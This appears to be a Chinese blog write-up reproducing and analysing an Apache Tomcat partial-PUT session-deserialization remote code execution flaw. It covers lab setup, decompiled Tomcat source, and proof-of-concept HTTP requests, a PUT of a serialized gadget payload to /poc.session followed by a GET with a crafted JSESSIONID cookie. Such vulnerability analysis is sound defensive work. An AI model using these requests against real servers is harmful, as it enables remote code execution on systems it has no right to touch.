漏洞简介
Apache Tomcat是一个流行的开源 Web 服务器和 Java Servlet 容器。
Apache Tomcat 应用程序在启用了servlet的写入功能(默认禁用)、使用Tomcat文件会话持久化、存储机制默认位置且包含可反序列化利用的依赖库时可以上传恶意序列化流,并触发反序列化进行进一步利用,可造成远程命令执行等危害。
影响版本
11.0.0-M1 <= Apache Tomcat <= 11.0.2
10.1.0-M1 <= Apache Tomcat <= 10.1.34
9.0.0.M1 <= Apache Tomcat <= 9.0.98
环境搭建
修改 tomcat 安装目录中 conf/web.xml 文件,设置 readonly 为 false
1 2 3 4 5 6 7
| <servlet> <init-param> <param-name>readonly</param-name> <param-value>false</param-value> </init-param> </servlet>
|
修改 tomcat 安装目录中 conf/context.xml 文件,启用 session 文件持久化
1 2 3 4 5 6
| <Context> <Manager className="org.apache.catalina.session.PersistentManager"> <Store className="org.apache.catalina.session.FileStore" /> </Manager> </Context>
|
然后需要手动引入一个有反序列化漏洞的依赖,我这里选用了 common-collections:3.2.1
https://mvnrepository.com/artifact/commons-collections/commons-collections/3.2.1
下载 jar 包后放入 tomcat 安装目录下的 lib 目录即可。
然后启动 Tomcat 时使用 bin/catalina.bat 的 jpda 启动
1
| ./catalina.bat jpda start
|
tomcat 默认调试的端口是 8000
配置调试,注意端口

漏洞复现
写入恶意序列化流数据,注意这里的 Content-Range 数值,
1 2 3 4 5
| PUT /poc.session HTTP/1.1 Host: 127.0.0.1:8080 Content-Range: bytes 0-1909/1910
{{file(F:\CTFtools\java-chains-1.4.0-all\JavaNativePayload_CommonsCollectionsK1_TemplatesImpl_BytecodeConvert_Exec.txt)}}
|
然后加载 session 文件触发反序列化
1 2 3
| GET / HTTP/1.1 Host: 127.0.0.1:8080 Cookie: JSESSIONID=.poc
|

漏洞分析
首先看漏洞通告
https://lists.apache.org/thread/j5fkjv2k477os90nczf2v9l61fb0kkgq
If all of the following were true, a malicious user was able to perform remote code execution:
writes enabled for the default servlet (disabled by default)
support for partial PUT (enabled by default)
application was using Tomcat’s file based session persistence with the default storage location
application included a library that may be leveraged in a deserialization attack
看到这几个条件可以分析出以下内容
- 可以写入任意内容
- 和 session 文件持久化有关
- 和反序列化有关
看完很容易联想到 PHP 中的 SESSION 反序列化。
通过控制 session 文件内容,写入恶意序列化流,在加载 session 文件内容时触发反序列化
那么有几个疑问点:
- session 文件存放在哪?
- 怎么处理 session 文件的,真的是普通序列化和反序列化吗
- PUT 默认写入在 Web 目录,怎么写入到 session 文件存储的位置
一个一个解决它
session 文件存放在哪
漏洞通告也写的很明白,需要默认位置才能利用,尝试问 ai 可以得到结论

这里被他小迷惑了一手,测试发现文件名并非如此,而是 {JSESSIONID}.session
,路径是没问题的
需要测试可以访问 /examples/servlets/servlet/SessionExample 来获取 session,然后关闭 tomcat 服务器,关闭时 tomcat 会自动调用 session 文件持久化,使 session 持久化保存


怎么处理 session 文件的,真的是普通序列化和反序列化吗
可以用 010 打开得到的 session 文件,可以发现魔数为 0xAC 0xED 符合序列化流的特征,也进一步验证了猜想,但还需进一步调试源码验证
首先定位到这部分逻辑的代码,也可以咨询 ai

根据类名就能猜到应该是org.apache.catalina.session.FileStore
,定位相关代码
跟进org.apache.catalina.session.FileStore#save
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| public void save(Session session) throws IOException { File file = this.file(session.getIdInternal()); if (file != null) { if (this.manager.getContext().getLogger().isDebugEnabled()) { this.manager.getContext().getLogger().debug(sm.getString(this.getStoreName() + ".saving", new Object[]{session.getIdInternal(), file.getAbsolutePath()})); }
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
try { ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));
try { ((StandardSession)session).writeObjectData(oos); } catch (Throwable var9) { try { oos.close(); } catch (Throwable var8) { var9.addSuppressed(var8); }
throw var9; }
oos.close(); } catch (Throwable var10) { try { fos.close(); } catch (Throwable var7) { var10.addSuppressed(var7); }
throw var10; }
fos.close(); } }
|
很明显这里将 session 序列化后存储到指定文件中。
跟进org.apache.catalina.session.FileStore#file()
可以找到 session 文件的命名规则,就是 sessionid 加上 .session
后缀
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| private File file(String id) throws IOException { File storageDir = this.directory(); if (storageDir == null) { return null; } else { String filename = id + ".session"; File file = new File(storageDir, filename); File canonicalFile = file.getCanonicalFile(); if (!canonicalFile.toPath().startsWith(storageDir.getCanonicalFile().toPath())) { log.warn(sm.getString("fileStore.invalid", new Object[]{file.getPath(), id})); return null; } else { return canonicalFile; } } }
|
继续跟进org.apache.catalina.session.FileStore#directory()
可以找到获取存储目录路径的逻辑

也就是从javax.servlet.context.tempdir
中获取,这个值和上下文有关。
既然有持久化存储 session 的逻辑,继续找找加载 session 的逻辑
跟进org.apache.catalina.session.FileStore#load
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68
| public Session load(String id) throws ClassNotFoundException, IOException { File file = this.file(id); if (file != null && file.exists()) { Context context = this.getManager().getContext(); Log contextLog = context.getLogger(); if (contextLog.isDebugEnabled()) { contextLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()})); }
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);
Object ois; try { try { FileInputStream fis = new FileInputStream(file.getAbsolutePath());
StandardSession var9; try { ObjectInputStream ois = this.getObjectInputStream(fis);
try { StandardSession session = (StandardSession)this.manager.createEmptySession(); session.readObjectData(ois); session.setManager(this.manager); var9 = session; } catch (Throwable var19) { if (ois != null) { try { ois.close(); } catch (Throwable var18) { var19.addSuppressed(var18); } }
throw var19; }
if (ois != null) { ois.close(); } } catch (Throwable var20) { try { fis.close(); } catch (Throwable var17) { var20.addSuppressed(var17); }
throw var20; }
fis.close(); return var9; } catch (FileNotFoundException var21) { if (contextLog.isDebugEnabled()) { contextLog.debug("No persisted data file found"); } }
ois = null; } finally { context.unbind(Globals.IS_SECURITY_ENABLED, oldThreadContextCL); }
return (Session)ois; } else { return null; } }
|
很容易看出这里是在反序列化 session 文件中的序列化流,因此只要可控 session 文件的内容就可以反序列化可控的数据,当环境存在有漏洞的依赖时就可以实现利用
PUT 默认写入在 Web 目录,怎么写入到 session 文件存储的位置
这里就需要跟进 PUT 处理相关的代码了,可以参考 CVE-2024-50379 漏洞复现文章的相关资料
跟进org.apache.catalina.servlets.DefaultServlet#doPut
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { if (this.readOnly) { this.sendNotAllowed(req, resp); } else { String path = this.getRelativePath(req); WebResource resource = this.resources.getResource(path); Range range = this.parseContentRange(req, resp); if (range != null) { InputStream resourceInputStream = null;
try { if (range == IGNORE) { resourceInputStream = req.getInputStream(); } else { File contentFile = this.executePartialPut(req, range, path); resourceInputStream = new FileInputStream(contentFile); }
if (this.resources.write(path, resourceInputStream, true)) { if (resource.exists()) { resp.setStatus(204); } else { resp.setStatus(201); } } else { resp.sendError(409); } } finally { if (resourceInputStream != null) { try { resourceInputStream.close(); } catch (IOException var13) { } }
}
} }
|
可以发现this.parseContentRange()
这个函数,看看在干嘛
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| protected Range parseContentRange(HttpServletRequest request, HttpServletResponse response) throws IOException { String contentRangeHeader = request.getHeader("Content-Range"); if (contentRangeHeader == null) { return IGNORE; } else if (!this.allowPartialPut) { response.sendError(400); return null; } else { ContentRange contentRange = ContentRange.parse(new StringReader(contentRangeHeader)); if (contentRange == null) { response.sendError(400); return null; } else if (!contentRange.getUnits().equals("bytes")) { response.sendError(400); return null; } else { Range range = new Range(); range.start = contentRange.getStart(); range.end = contentRange.getEnd(); range.length = contentRange.getLength(); if (!range.validate()) { response.sendError(400); return null; } else { return range; } } } }
|
可以看出这里接受了 Content-Range 请求头,这是什么?问问 ai

这就很有意思了,用于大文件分段传输的,那还没传输完的文件切片会缓存在哪呢,没错,还真就在 session 文件存放的地方
回到org.apache.catalina.servlets.DefaultServlet#doPut
,在解析完 Content-Range 请求头后给了 range 这个变量,当range != IGNORE
就会调用org.apache.catalina.servlets.DefaultServlet#executePartialPut()
,该方法参数中也含有range 变量
跟进 org.apache.catalina.servlets.DefaultServlet#executePartialPut()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| protected File executePartialPut(HttpServletRequest req, Range range, String path) throws IOException { File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir"); String convertedResourcePath = path.replace('/', '.'); File contentFile = new File(tempDir, convertedResourcePath); if (contentFile.createNewFile()) { contentFile.deleteOnExit(); }
RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");
try { WebResource oldResource = this.resources.getResource(path); if (oldResource.isFile()) { BufferedInputStream bufOldRevStream = new BufferedInputStream(oldResource.getInputStream(), 4096);
try { byte[] copyBuffer = new byte[4096];
int numBytesRead; while((numBytesRead = bufOldRevStream.read(copyBuffer)) != -1) { randAccessContentFile.write(copyBuffer, 0, numBytesRead); } } catch (Throwable var17) { try { bufOldRevStream.close(); } catch (Throwable var16) { var17.addSuppressed(var16); }
throw var17; }
bufOldRevStream.close(); }
randAccessContentFile.setLength(range.length); randAccessContentFile.seek(range.start); byte[] transferBuffer = new byte[4096]; BufferedInputStream requestBufInStream = new BufferedInputStream(req.getInputStream(), 4096);
int numBytesRead; try { while((numBytesRead = requestBufInStream.read(transferBuffer)) != -1) { randAccessContentFile.write(transferBuffer, 0, numBytesRead); } } catch (Throwable var18) { try { requestBufInStream.close(); } catch (Throwable var15) { var18.addSuppressed(var15); }
throw var18; }
requestBufInStream.close(); } catch (Throwable var19) { try { randAccessContentFile.close(); } catch (Throwable var14) { var19.addSuppressed(var14); }
throw var19; }
randAccessContentFile.close(); return contentFile; }
|
可以神奇的发现,这里获取的路径也是从javax.servlet.context.tempdir
获取的,那么在默认情况下相同 servlet 的临时工作目录自然也相同
继续看,这里会将 path 中 /
替换为 .
,而 path 则是请求的路径,所以如果请求为 PUT /poc.session
到这处理后的convertedResourcePath 即 .poc.session
,这里contentFile.deleteOnExit()
并不是立即删除,而是标记删除,在退出 jvm 时会触发 hook,删除这个临时文件。然后的逻辑就会获取请求包的 body 根据 range 的偏移量写入到该文件中,并返回该 File 对象。
返回后的调用就是写入到 web 目录下的对应路径下
因此,这样就可以在 session 存放的目录写入携带恶意序列化流的 session 文件。在请求中携带 session 时就会寻找对应 session 文件,并反序列化恶意数据,达到利用目的。
总结
总的来说,利用条件是相当苛刻的,不仅得开启 PUT 还得开启 Tomcat 的 session 文件持久化,环境中还得存在可反序列化利用的依赖包。实际环境很难遇到,但思路还是很巧妙的。
了解不多,如果有分析出错的地方,请各位大牛多多指点!